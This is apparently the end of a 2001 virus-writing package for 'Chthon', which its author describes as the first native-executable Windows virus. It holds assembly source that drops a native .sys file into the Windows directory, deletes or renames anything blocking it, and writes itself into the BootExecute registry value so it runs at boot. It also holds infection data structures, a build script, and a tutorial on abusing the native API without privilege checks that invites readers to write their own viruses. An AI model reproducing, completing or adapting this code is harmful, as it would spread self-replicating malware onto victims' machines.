; dd 60000000h ;88 7c export (overload for section characteristics)
; dd 1008h ;8c 80 import
; dd 0 ;90 84 import
; ;94
drop_sys label near
mov ebx, esp
lea esi, dword ptr [edi + offset syslabel - offset drop_sys]
mov edi, offset chthon_codeend - offset chthon_begin + syssize + 1ffh
push edi
xor ebp, ebp ;GMEM_FIXED
push ebp
call dword ptr [ebx + execrcstk.eGlobalAlloc]
push eax ;GlobalFree
push ebp ;WriteFile
push esp ;WriteFile
push edi ;WriteFile
push eax ;WriteFile
push ebp ;CreateFileA
push ebp ;CreateFileA
push CREATE_ALWAYS ;CreateFileA
push ebp ;CreateFileA
push ebp ;CreateFileA
push GENERIC_WRITE ;CreateFileA
push eax ;CreateFileA
lea ecx, dword ptr [eax + 7fh]
push ecx ;MoveFileA
push eax ;MoveFileA
push eax ;GetFileAttributesA
push ebp ;SetFileAttributesA
push eax ;SetFileAttributesA
push ecx ;DeleteFileA
push ecx ;GetTempFileNameA
push ebp ;GetTempFileNameA
push esp ;GetTempFileNameA
push eax ;GetTempFileNameA
push edi ;GetWindowsDirectoryA
push eax ;GetWindowsDirectoryA
xchg ebp, eax
call dword ptr [ebx + execrcstk.eGetWindowsDirectoryA]
lea edi, dword ptr [ebp + eax - 1]
call dword ptr [ebx + execrcstk.eGetTempFileNameA]
call dword ptr [ebx + execrcstk.eDeleteFileA]
mov al, '\'
scas byte ptr [edi]
je skip_slash
stos byte ptr [edi]
;-----------------------------------------------------------------------------
;append sys name, assumes name is 0ch bytes long
;-----------------------------------------------------------------------------
skip_slash label near
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
;-----------------------------------------------------------------------------
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
;-----------------------------------------------------------------------------
call dword ptr [ebx + execrcstk.eSetFileAttributesA]
call dword ptr [ebx + execrcstk.eGetFileAttributesA]
test al, FILE_ATTRIBUTE_DIRECTORY
pop ecx
pop eax
je skip_move
push eax
push ecx
call dword ptr [ebx + execrcstk.eMoveFileA]
skip_move label near
call dword ptr [ebx + execrcstk.eCreateFileA]
push ebx
xchg ebp, eax
xchg edi, eax
call dword ptr [ebx + execrcstk.eGetTickCount]
xchg ebx, eax
xor ecx, ecx
;-----------------------------------------------------------------------------
;decompress sys MZ header, PE header, section table, import table
;-----------------------------------------------------------------------------
lods dword ptr [esi]
copy_bytes label near
movs byte ptr [edi], byte ptr [esi]
test_bits label near
add eax, eax
jb copy_bytes
add eax, eax
sbb dl, dl
and dl, bl
shld ecx, eax, 4
rol ebx, cl
shl eax, 4
xchg edx, eax
rep stos byte ptr [edi]
xchg edx, eax
jne test_bits
lods dword ptr [esi]
test eax, eax
jne test_bits
mov cx, offset chthon_codeend - offset chthon_begin
sub esi, offset drop_sys - offset chthon_begin
rep movs byte ptr [edi], byte ptr [esi]
xchg ecx, eax
pop ebx
pop edi
pop ecx
push ecx
push edi
push ecx
mov edx, dword ptr [edi + mzhdr.mzlfanew]
lea edx, dword ptr [edi + edx + pehdr.pechksum]
inc ecx
shr ecx, 1
clc
exe_checksum label near
adc ax, word ptr [edi]
inc edi
inc edi
loop exe_checksum
pop dword ptr [edx]
adc dword ptr [edx], eax ;avoid common bug. ADC not ADD
push ebp
call dword ptr [ebx + execrcstk.eWriteFile]
push ebp
call dword ptr [ebx + execrcstk.eCloseHandle]
call dword ptr [ebx + execrcstk.eGlobalFree]
sub esi, offset chthon_codeend - offset regdll
push esi
call dword ptr [ebx + execrcstk.eLoadLibraryA]
inc eax
xchg edi, eax
call find_mzhdr
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
regcrcbegin label near ;place < 80h bytes from call for smaller code
dd (regcrc_count + 1) dup (0)
regcrcend label near
dd offset reg_file - offset regcrcend + 4
regkey db "system\currentcontrolset\control\session manager", 0
regval db "autocheck autochk *", 0, sysname, 0, 0
regnam db "bootexecute", 0
regdll db "advapi32", 0
reg_file label near
mov ebx, esp
push eax
push esp
sub edi, offset reg_file - offset regkey
push edi
push HKEY_LOCAL_MACHINE
call dword ptr [ebx + regcrcstk.rRegOpenKeyA]
pop eax
push eax
push offset regnam - offset regval
add edi, offset regval - offset regkey
push edi
push REG_MULTI_SZ
push 0
add edi, offset regnam - offset regval
push edi
push eax
call dword ptr [ebx + regcrcstk.rRegSetValueExA]
call dword ptr [ebx + regcrcstk.rRegCloseKey]
add esp, size execrcstk + size regcrcstk
popad
ret 0ch
chthon_dllcode endp
chthon_tlscode endp
chthon_codeend label near
chthon_begin endp
end dropper
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHTHON.ASM]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHTHON.INC]ÄÄÄ
DLL_PROCESS_ATTACH equ 1
DLL_THREAD_ATTACH equ 2
MAX_PATH equ 260
FILE_DIRECTORY_FILE equ 00000001h
FILE_SYNCHRONOUS_IO_NONALERT equ 00000020h
FILE_OPEN_FOR_BACKUP_INTENT equ 00004000h
FILE_SHARE_READ equ 00000001
FILE_SHARE_WRITE equ 00000002
FILE_READ_DATA equ 0001h
FILE_LIST_DIRECTORY equ 0001h
FILE_WRITE_DATA equ 0002h
FILE_APPEND_DATA equ 0004h
FILE_WRITE_ATTRIBUTES equ 0100h
SYNCHRONIZE equ 00100000h
FileBothDirectoryInformation equ 3
FileBasicInformation equ 4
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
FILE_ATTRIBUTE_ARCHIVE equ 00000020h
IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it
IMAGE_FILE_RELOCS_STRIPPED equ 0001h
IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h
IMAGE_FILE_32BIT_MACHINE equ 0100h
IMAGE_FILE_SYSTEM equ 1000h
IMAGE_FILE_DLL equ 2000h
IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h
IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2
IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3
RANDPADMIN equ 4096
RANDPADMAX equ 2048 ;RANDPADMIN is added to this
PAGE_READWRITE equ 04
STANDARD_RIGHTS_REQUIRED equ 000F0000h
SECTION_QUERY equ 0001
SECTION_MAP_WRITE equ 0002
SECTION_MAP_READ equ 0004
IMAGE_SCN_MEM_WRITE equ 80000000h
CREATE_ALWAYS equ 2
GENERIC_WRITE equ 40000000h
HKEY_LOCAL_MACHINE equ 80000002h
KEY_SET_VALUE equ 2
REG_MULTI_SZ equ 7
align 1 ;byte-packed structures
krncrcstk struct
kRtlSetCurrentDirectory_U dd ?
kRtlRandom dd ?
kRtlFreeHeap dd ?
kRtlDosPathNameToNtPathName_U dd ?
kRtlAllocateHeap dd ?
kNtUnmapViewOfSection dd ?
kNtSetInformationFile dd ?
kNtQueryDirectoryFile dd ?
kNtOpenFile dd ?
kNtMapViewOfSection dd ?
kNtCreateSection dd ?
kNtClose dd ?
krncrcstk ends
krncrc_count equ size krncrcstk shr 2
execrcstk struct
eWriteFile dd ?
eSetFileAttributesA dd ?
eMoveFileA dd ?
eLoadLibraryA dd ?
eGlobalFree dd ?
eGlobalAlloc dd ?
eGetWindowsDirectoryA dd ?
eGetTickCount dd ?
eGetTempFileNameA dd ?
eGetFileAttributesA dd ?
eDeleteFileA dd ?
eCreateFileA dd ?
eCloseHandle dd ?
execrcstk ends
execrc_count equ size execrcstk shr 2
regcrcstk struct
rRegSetValueExA dd ?
rRegOpenKeyA dd ?
rRegCloseKey dd ?
regcrcstk ends
regcrc_count equ size regcrcstk shr 2
tlsstruc struct
tlsrawbeg dd ?
tlsrawend dd ?
tlsindex dd ?
tlsfuncptr dd ?
tlsfiller dd ?
tlsflags dd ?
tlsfunc dd 2 dup (?)
tlsstruc ends
initstk struct
initret dd ?
initDLLHandle dd ?
initReason dd ?
initReserved dd ?
initstk ends
UNICODE_STRING struct
UniLength dw ?
MaximumLength dw ?
Buffer dd ?
UNICODE_STRING ends
UNICODE_STRINGDD struct
UniString UNICODE_STRING ?
RootDir dd ?
UNICODE_STRINGDD ends
LARGE_INTEGER struct
dwordLow dd ?
dwordHigh dd ?
LARGE_INTEGER ends
FILE_DIRECTORY_INFORMATION struct
dirNextEntryOffset dd ?
dirUnknown1 dd ?
dirCreationTime LARGE_INTEGER ?
dirLastAccessTime LARGE_INTEGER ?
dirLastWriteTime LARGE_INTEGER ?
dirChangeTime LARGE_INTEGER ?
dirRealFileSize LARGE_INTEGER ?
dirAllocatedSize LARGE_INTEGER ?
dirFileAttributes dd ?
dirFileNameLength dd ?
dirUnknown2 dw 0fh dup (?)
dirFileName dw MAX_PATH + 1 dup (?)
FILE_DIRECTORY_INFORMATION ends
findlist struct
findprev dd ?
findhand dd ?
findname UNICODE_STRING ?
findmask UNICODE_STRINGDD ?
finddata FILE_DIRECTORY_INFORMATION ?
findlist ends
coffhdr struct
pemachine dw ? ;04
pesectcount dw ? ;06
petimedate dd ? ;08
pesymbrva dd ? ;0C
pesymbcount dd ? ;10
peopthdrsize dw ? ;14
peflags dw ? ;16
coffhdr ends
pedir struct
dirrva dd ?
dirsize dd ?
pedir ends
pehdr struct
pesig dd ? ;00
pecoff coffhdr <?>
pemagic dw ? ;18
pemajorlink db ? ;1A
peminorlink db ? ;1B
pecodesize dd ? ;1C
peidatasize dd ? ;20
peudatasize dd ? ;24
peentrypoint dd ? ;28
pecodebase dd ? ;2C
pedatabase dd ? ;30
peimagebase dd ? ;34
pesectalign dd ? ;38
pefilealign dd ? ;3C
pemajoros dw ? ;40
peminoros dw ? ;42
pemajorimage dw ? ;44
peminorimage dw ? ;46
pemajorsubsys dw ? ;48
peminorsubsys dw ? ;4A
pereserved dd ? ;4C
peimagesize dd ? ;50
pehdrsize dd ? ;54
pechksum dd ? ;58
pesubsys dw ? ;5C
pedllflags dw ? ;5E
pestackmax dd ? ;60
pestacksize dd ? ;64
peheapmax dd ? ;68
peheapsize dd ? ;6C
peldrflags dd ? ;70
pervacount dd ? ;74
peexport pedir <?> ;78
peimport pedir <?> ;80
persrc pedir <?> ;88
peexcpt pedir <?> ;90
pesecurity pedir <?> ;98
pereloc pedir <?> ;A0
pedebug pedir <?> ;A8
pearch pedir <?> ;B0
peglobal pedir <?> ;B8
petls pedir <?> ;C0
peconfig pedir <?> ;C8
pebound pedir <?> ;D0
peiat pedir <?> ;D8
pedelay pedir <?> ;E0
pecom pedir <?> ;E8
persrv pedir <?> ;F0
pehdr ends
peexp struct
expflags dd ?
expdatetime dd ?
expmajorver dw ?
expminorver dw ?
expdllrva dd ?
expordbase dd ?
expadrcount dd ?
expnamecount dd ?
expadrrva dd ?
expnamerva dd ?
expordrva dd ?
peexp ends
tib struct
ExceptReg dd ?
StackBase dd ?
StackLimit dd ?
SubSystem dd ?
FiberData dd ?
UserPointer dd ?
TibSelf dd ?
TibUnknown dd 5 dup (?)
TibTeb dd ?
tib ends
teb struct
tebUnknown dd 6 dup (?)
heaphand dd ?
teb ends
OBJECT_ATTRIBUTES struct
ObjLength dd ?
RootDirectory dd ?
ObjectName dd ?
Attributes dd ?
SecurityDescriptor dd ?
SecurityQualityOfService dd ?
OBJECT_ATTRIBUTES ends
openstk struct
openobj OBJECT_ATTRIBUTES <?>
openname UNICODE_STRING <?>
openedi dd ?
openebx dd ?
openstk ends
FILE_BASIC_INFORMATION struct
basCreationTime LARGE_INTEGER ?
basLastAccessTime LARGE_INTEGER ?
basLastWriteTime LARGE_INTEGER ?
basChangeTime LARGE_INTEGER ?
basFileAttributes dd ?
basUnknown dd ? ;missing from docs?
FILE_BASIC_INFORMATION ends
mzhdr struct
mzsig dw ? ;00
mzpagemod dw ? ;02
mzpagediv dw ? ;04
mzrelocs dw ? ;06
mzhdrsize dw ? ;08
mzminalloc dw ? ;0A
mzmaxalloc dw ? ;0C
mzss dw ? ;0E
mzsp dw ? ;10
mzchksum dw ? ;12
mzip dw ? ;14
mzcs dw ? ;16
mzreloff dw ? ;18
mzfiller db 22h dup (?) ;1A
mzlfanew dd ? ;3C
mzhdr ends
pesect struct
sectname db 8 dup (?)
sectvirtsize dd ?
sectvirtaddr dd ?
sectrawsize dd ?
sectrawaddr dd ?
sectreladdr dd ?
sectlineaddr dd ?
sectrelcount dw ?
sectlinecount dw ?
sectflags dd ?
pesect ends
mapsehstk struct
mapsehprev dd ?
mapsehexcpt dd ?
mapsehregs dd 8 dup (?)
mapsehsehret dd ?
mapsehinfret dd ?
mapsehstk ends
infectstk struct
infdelta dd ?
infmapview dd ?
inffilesize dd ?
infseh mapsehstk <?>
infectstk ends
align ;restore default alignment
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[CHTHON.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[NATIVE.TXT]ÄÄÄ
The Native API
roy g biv / defjam
-= defjam =-
since 1992
bringing you the viruses of tomorrow
today!
Prologue:
Please excuse my English. I'm still learning.
About the author:
Former DOS/Win16 virus writer, author of several virus families, including
Ginger (see Coderz #1 zine for terrible buggy example, contact me for better
sources ;), and Virus Bulletin 9/95 for a description of what they called
Rainbow. Co-author of world's first virus using circular partition trick
(Orsam, coded with Prototype in 1993). Designer of the world's first XMS
swapping virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the
rest is swapped out). Author of world's first virus using Thread Local
Storage for replication (Shrug). Author of various retrovirus articles (eg
see Vlad #7 for the strings that make your code invisible to TBScan). Went to
sleep for a number of years. This is my third virus for Win32. It is the
world's first Native executable virus. It took me weeks to research it.
I'm also available for joining a group. Just in case anyone is interested. ;)
What are native applications?
I found out about native applications on the Sysinternals site.
(www.sysinternals.com/ntw2k/info/native.shtml)
The guy describes there some things about how these files are executed and
which APIs they can use. There are some bugs in his description, but mostly
it is good enough. Native applications run in NT/2000/XP and they load before
the Win32 subsystem loads (kernel32, user32, etc). They have full access to
the file system and no privilege checks! Most of the APIs are undocumented,
but if you debug the kernel32 APIs, you see that they call the native APIs
(ntdll) and you can work out the important parameters.
Some points now:
Native applications can run from %Windows%, not just %System%.
The heap handle is available via [fs:[0x30]+0x18]). No need to create heap.
NtProcessTerminate() runs if application crashes (so crash to save bytes :) ).
Native applications must terminate before Win32 subsystem can load, so it is
important to not take too much time. There is no background execution here.
How to build a native application?
You'll need a copy of ntdll.lib to build a native application, but you can use
the native API without being a native application - just use GetModuleHandle()
to load ntdll then GetProcAddress(), but know that privilege checks apply to
native APIs used by not-native applications.
How to run a native application?
Native applications use subsystem value of 1 and must have a valid checksum.
They can be loaded using the registry by altering the data in
HKLM\System\CurrentControlSet\Control\SessionManager\BootExecute
This is a MULT_SZ type so it is an array of null-terminated strings, with
extra null to end the list. When the entry point is executed, the stack
contains no return value. Since I couldn't find anywhere that has the ntdll
image base, probably you must search memory. I import a function from ntdll
to know where to start looking. They cannot be executed directly (but you can
use RtlCreateProcess() to execute for testing, however SoftIce won't break on
hard-coded int 3, so be careful).
How to use the native APIs?
Here are the APIs from ntdll.dll that I have used. The ones marked 'x' are
unknown to me, but the values are set by kernel32 and I had no need to change
them. IO_STATUS_BLOCKs are altered just before the call returns, so if you do
not care about the status, then point with esp and it will be discarded.
DWORD NtClose /* kernel32 equivalent: CloseHandle */
(
HANDLE filehand /* IN */
)
DWORD NtCreateSection /* kernel32 equivalent: CreateFileMapping */
(
PHANDLE secthand /* OUT */
DWORD sectaccess /* IN */
x 0 /* IN */
PQWORD filesize /* IN */
DWORD pageaccess /* IN */
x 0x08000000 /* IN */
HANDLE filehandle /* IN */
)
DWORD NtMapViewOfSection /* kernel32 equivalent: MapViewOfFile */
(
HANDLE secthand /* IN */
x -1 /* IN */
PVOID mapview /* OUT */
x 0 /* IN */
x 0 /* IN */
PQWORD origin /* IN */
PQWORD mapsize /* IN */
x 1 /* IN */
x 0 /* IN */
DWORD pageaccess /* IN */
)
DWORD NtOpenFile /* kernel32 equivalent: none
Similar to CreateFile when OPEN_EXISTING, but directories
must also be opened with this function, in order to access
the files inside
*/
(
PHANDLE filehand /* IN */
ACCESS_MASK access /* IN */
POBJECT_ATTRIBUTES objattr /* IN */
PIO_STATUS_BLOCK status /* OUT */
DWORD share /* IN */
DWORD flags /* IN */
)
DWORD NtQueryDirectoryFile /* kernel32 equivalent: FindFirstFile (restart: 1)
FindNextFile (restart: 0)
*/
(
HANDLE filehand /* IN */
HANDLE event /* IN */
x 0 /* IN */
x 0 /* IN */
PIO_STATUS_BLOCK status /* OUT */
PVOID fileinfo /* OUT */
DWORD infosize /* IN */
FILE_INFORMATION_CLASS class /* IN */
BOOLEAN single /* IN */
PUNICODE_STRING filename /* IN */
BOOLEAN restart /* IN */
)
DWORD NtSetInformationFile /* kernel32 equivalent: none
Combines SetFileAttibutes and SetFileTime
(can set either or both in single call)
*/
(
HANDLE filehand /* IN */
PIO_STATUS_BLOCK status /* OUT */
PVOID fileinfo /* IN */
DWORD infosize /* IN */
FILE_INFORMATION_CLASS class /* IN */
)
DWORD NtUnmapViewOfSection /* kernel32 equivalent: UnmapViewOfFile */
(
x -1 /* IN */
PVOID mapview /* IN */
)
PVOID RtlAllocateHeap /* kernel32 equivalent: HeapAlloc */
(
HANDLE heaphand /* IN */
DWORD flags /* IN */
DWORD size /* IN */
)
BOOLEAN RtlDosPathNameToNtPathName_U /* kernel32 equivalent: none
Similar to GetFullPathName
*/
(
PWSTR inpath /* IN */
PUNICODE_STRING devname /* OUT */
/* and .Buffer must be freed by caller */
PWSTR filename /* OUT */
PUNICODE_STRING outpath /* OUT */
)
BOOLEAN RtlFreeHeap /* kernel32 equivalent: HeapFree */
(
HANDLE heaphand /* IN */
DWORD flags /* IN */
PVOID buffer /* IN */
)
DWORD RtlRandom /* kernel32 equivalent: none
GetTickCount can be used, but it's not really random
*/
(
PDWORD seed /* IN */
)
DWORD RtlSetCurrentDirectory_U /* kernel32 equivalent: SetCurrentDirectory */
(
PUNICODE_STRING subdir /* IN */
)
Epilogue:
Now you want to look at my example code and then to make your own examples.
There are many possibilities with this technique that make it very
interesting. It is easy when you know how. Just use your imagination.
Greets to the old Defjam crew:
Prototype, RTFishel, Obleak, and The Gingerbread Man
rgb/dj nov 2001
iam_rgb@hotmail.com
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[NATIVE.TXT]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ
@echo off
if %1.==. goto usage
%tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1
if errorlevel 1 goto end
%tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib,
del %1.obj
goto end
:usage
echo.
echo Usage: MAKE filename
echo eg. MAKE CHTHON
echo requires %tasm32% set to TASM directory (eg C:\TASM)
:end
echo.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ